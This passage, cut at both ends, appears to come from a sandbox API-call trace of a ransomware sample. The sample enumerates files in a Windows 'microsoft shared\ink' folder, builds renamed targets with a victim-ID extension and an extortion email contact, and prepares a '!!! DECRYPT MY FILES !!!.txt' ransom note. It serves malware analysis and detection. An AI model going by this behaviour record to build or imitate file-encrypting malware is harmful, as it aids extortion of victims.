out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.135] GetProcessHeap () returned 0x630000 [0114.135] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6380, Size=0x34) returned 0x6d4f40 [0114.135] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0114.135] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 1 [0114.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat") returned 0x3f [0114.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.135] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.136] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.136] GetProcessHeap () returned 0x630000 [0114.136] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f40, Size=0x38) returned 0x6d4e40 [0114.136] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0114.136] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 1 [0114.136] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat") returned 0x3f [0114.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.136] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.136] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.136] GetProcessHeap () returned 0x630000 [0114.136] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4e40, Size=0x3c) returned 0x6fef578 [0114.136] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0114.137] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 1 [0114.137] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll") returned 0x3d [0114.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.139] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.139] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.139] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0114.139] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 1 [0114.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll") returned 0x3d [0114.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.139] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.139] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.139] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0114.140] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe", len=0x4b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned 1 [0114.140] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe") returned 0x4b [0114.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.140] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.140] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.140] GetProcessHeap () returned 0x630000 [0114.140] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef578, Size=0x40) returned 0x6fef698 [0114.140] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0114.140] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 1 [0114.140] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml") returned 0x3c [0114.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.141] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.141] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.141] GetProcessHeap () returned 0x630000 [0114.141] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef698, Size=0x44) returned 0x64a3b8 [0114.141] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0114.141] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 1 [0114.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml") returned 0x3d [0114.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.141] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.141] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.141] GetProcessHeap () returned 0x630000 [0114.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x48) returned 0x649f58 [0114.142] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0114.142] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 1 [0114.142] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml") returned 0x3d [0114.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.142] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.142] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.142] GetProcessHeap () returned 0x630000 [0114.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x4c) returned 0x6ee868 [0114.142] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0114.143] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 1 [0114.143] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml") returned 0x3d [0114.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.143] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.143] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.143] GetProcessHeap () returned 0x630000 [0114.143] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee868, Size=0x50) returned 0x6ee810 [0114.143] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0114.143] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 1 [0114.143] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml") returned 0x3d [0114.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.143] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.144] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.144] GetProcessHeap () returned 0x630000 [0114.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee810, Size=0x54) returned 0x68e0b8 [0114.144] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0114.144] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 1 [0114.144] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml") returned 0x3d [0114.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.144] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.144] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.144] GetProcessHeap () returned 0x630000 [0114.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e0b8, Size=0x58) returned 0x68e6b8 [0114.144] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0114.145] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 1 [0114.145] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml") returned 0x3d [0114.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.145] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.145] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.145] GetProcessHeap () returned 0x630000 [0114.145] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e6b8, Size=0x5c) returned 0x6e8498 [0114.145] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0114.145] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 1 [0114.145] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml") returned 0x3c [0114.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.146] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.146] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", 